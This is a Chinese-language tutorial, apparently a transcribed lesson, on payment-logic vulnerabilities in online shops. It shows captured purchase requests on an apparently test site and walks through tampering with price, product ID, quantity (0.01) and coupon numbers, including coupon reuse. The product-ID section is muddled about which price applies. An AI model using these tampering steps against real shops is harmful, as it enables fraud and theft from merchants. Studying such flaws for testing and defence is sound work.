支付逻辑漏洞知识
1、商品购买-数量&价格&编号等
2、支付模式-状态&接口&负数等
3、折扣处理-优惠券&积分&重放等
详细点:
1、熟悉常见支付流程
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
2、熟悉那些数据篡改
商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态等
3、熟悉那些修改方式
替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
漏洞演示
价格漏洞
我注册了一个cs账户演示一下支付漏洞
我们随便点开一个产品
抓取购买的数据包
GET /index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg HTTP/1.1
Host: 12.27.61.239:10001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://12.27.61.239:10001/index.php?s=/articles/127.html
Cookie: PHPSESSID=98dnj0bg8hkcgj2qdc87kghv33; BkGOp9578O_think_template=default
Upgrade-Insecure-Requests: 1
我们对比一下数据包
我们可以用肉眼捕抓一些关键的字眼
对比我们前面上面的截图
6000是价格
1是数量
好
那么我们是否可以更改他的价格呢
可以尝试一下
把价格改成0
然后把数据包放了
就达到了更改价格
商品编号漏洞
我们通过购买这个产品的价格来购买上面5400价格的产品
对比漏洞数据包
6000
GET /index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg HTTP/1.1
Host: 12.27.61.239:10001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://12.27.61.239:10001/index.php?s=/articles/127.html
Cookie: PHPSESSID=98dnj0bg8hkcgj2qdc87kghv33; BkGOp9578O_think_template=default
Upgrade-Insecure-Requests: 1
4000
GET /index.php?m=Member&a=gobuy&iscart=0&id=66&name=%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=4000>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393207060.jpg HTTP/1.1
Host: 0.27.61.239:10001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://0.27.61.239:10001/index.php?s=/articles/66.html
Cookie: PHPSESSID=98dnj0bg8hkcgj2qdc87kghv33; BkGOp9578O_think_template=default
Upgrade-Insecure-Requests: 1
我们只需要更改一个地方
把他更改为5400的
但是价格不变为4000
商品变成了6000的那个产品
异数量漏洞
我们随便点开一个商品
然后点击购买抓包
好
这个的话
就没有显示价格什么的关键字眼的东西了
那么我们用到异数量来达到下单购买
把这个数量改成
0.01
他这个就是是以数量来计算价格的
我们只需要改一个异常就可以了
优惠卷漏洞
这个优惠卷漏洞的话,简单来说就是刷优惠卷,用完一张优惠卷就刷一下
那么怎么取发现有没有这种漏洞呢
很简单
我们分别抓取两个数据包
那两个数据包呢
一个是我们没有用优惠卷的数据包
另一个是有用优惠卷的数据包
我们把两个数据包进行对比就可以了
有用优惠卷的
那么通过对比就可以发现
这之间的差异就是这个200
那么这个200是什么呢,这就是优惠卷的编号,也可以说是张数
就是是这个平台发放了1000张优惠卷,我这使用的就是第200张,那么如果我这张用完了我就可以尝试把他改成1000,或者201,那么你可以输入了另外一个优惠卷编号的时候他不会生效,这是为什么呢
解释一下,遇到这种情况,可能就是这张优惠卷被人用了,那么这个时候你就需要去换另外一个编号来来尝试了
好
说到这里,也有另外一种情况,就是重复利用,我们一直用200这个优惠卷编号,看看他是否可以重复的去利用